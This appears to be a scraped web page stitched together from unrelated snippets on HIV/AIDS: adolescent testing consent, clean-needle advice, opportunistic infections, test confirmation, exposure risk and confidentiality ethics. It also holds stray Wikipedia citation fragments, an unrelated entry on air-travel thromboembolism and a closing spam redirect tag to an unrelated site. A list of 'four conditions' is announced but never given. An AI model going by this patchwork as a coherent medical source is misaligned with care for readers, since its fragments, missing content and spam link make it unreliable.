Because the recommended population for HIV testing includes adolescents, it also is important to have practices in place to assist young patients. This includes a process of discussing safe-sex practices, risk factors, and behavior that may lead to HIV exposure. Currently, some states allow minors to access HIV testing in a confidential fashion without disclosing testing or results to a parent or guardian (9, 10). However, there are others that require some degree of notification or consent from a parent before testing. It is important for Fellows to be aware of the local policies in place and to fulfill the legal and ethical obligations to their adolescent patients who seek HIV testing as part of their reproductive health care. The Guttmacher Institute maintains an updated list of minors’ consent state policies (www.guttmacher.org/statecenter/spibs/spib_OMCL.pdf).
Use a clean needle. If you use a needle to inject drugs, make sure it’s sterile and don’t share it. Take advantage of needle-exchange programs in your community and consider seeking help for your drug use.
Jump up ^ “Guidelines for intensified tuberculosis case-finding and isoniazid preventive therapy for people living with HIV in resource-constrained settings” (PDF). Department of HIV/AIDS, World Health Organization 2011. 2011. Archived (PDF) from the original on October 19, 2014.
People with AIDS may develop symptoms of pneumonia due to Pneumocystis jiroveci, which is rarely seen in people with normal immune systems. They also are more likely to get pneumonia due to common bacteria. Globally, tuberculosis is one of the most common infections associated with AIDS. In addition, people with AIDS may develop seizures, weakness, or mental changes due to toxoplasmosis, a parasite that infects the brain. Neurological signs also may be due to meningitis caused by the fungus Cryptococcus. Complaints of painful swallowing may be caused by a yeast infection of the esophagus called candidiasis. Because these infections take advantage of the weakened immune system, they are called “opportunistic infections.”
^ Jump up to: a b Celum, C; Baeten, JM (February 2012). pre-exposure prophylaxis for HIV prevention: evolving evidence”. Current Opinion in Infectious Diseases. 25 (1): 51–7. doi:10.1097/QCO.0b013e32834ef5ef. PMC 3266126 . PMID 22156901.
Many patients develop low-grade fevers, chronic fatigue, and general weakness. HIV also may cause a combination of food malabsorption, loss of appetite, and increased metabolism that contribute to AIDS wasting syndrome.
If screening test results are positive, they are confirmed by a more accurate, specific tests such as the Western blot. The Western blot test is more difficult to do than screening tests but is more accurate.
The source is qualified by whether it is known or unknown. If the source is unknown (eg, a needle on the street or in a sharps disposal container), risk should be assessed based on the circumstances of the exposure (eg, whether the exposure occurred in an area where injection drug use is prevalent, whether a needle discarded in a drug-treatment facility was used). If the source is known but HIV status is not, the source is assessed for HIV risk factors, and prophylaxis is considered (see Table: Postexposure Prophylaxis Recommendations).
We will return to discuss in more detail the interactions of HIV with the immune system and the prospects for manipulating them later in this chapter, but before doing so we must describe the viral life cycle and the genes and proteins on which it depends. Some of these proteins are the targets of the most successful drugs in use at present for the treatment of AIDS.
In considering disclosure, clinicians may have competing obligations: protecting the patient’s confidentiality, on the one hand, and disclosing test results to prevent substantial harm to a third party, on the other. In some jurisdictions, a breach of confidentiality may be required by mandatory reporting regulations. Even absent legal requirements, in some situations the need to protect potentially exposed third parties may seem compelling. In these situations, the clinician first should educate the patient about her rights and responsibilities and encourage her to inform any third parties involved. If she remains reluctant to voluntarily share information regarding her infection, consultation with an institutional ethics committee, a medical ethics specialist, or an attorney may be helpful in deciding whether to disclose her HIV status. In general, a breach of confidentiality may be ethically justified for purposes of partner notification when all of the following four conditions are met:
‘second-class travel’ syndrome pulmonary thromboembolism due to prolonged periods of inactivity, e.g. passengers (who have been static for > 4 hours during long-haul intercontinental air flights) develop deep-vein thrombosis; the clot detaches, passing through venous circulation and heart, to block the pulmonary artery; characterized by sudden collapse and death; passengers on long-haul flights are advised to undertake leg muscle exercises regularly throughout the duration of the flight, wear ‘antithrombotic’ elasticated hosiery and consider medication with aspirin in the weeks before long-haul flight [redirect url=’http://penetratearticles.info/bump’ sec=’7′]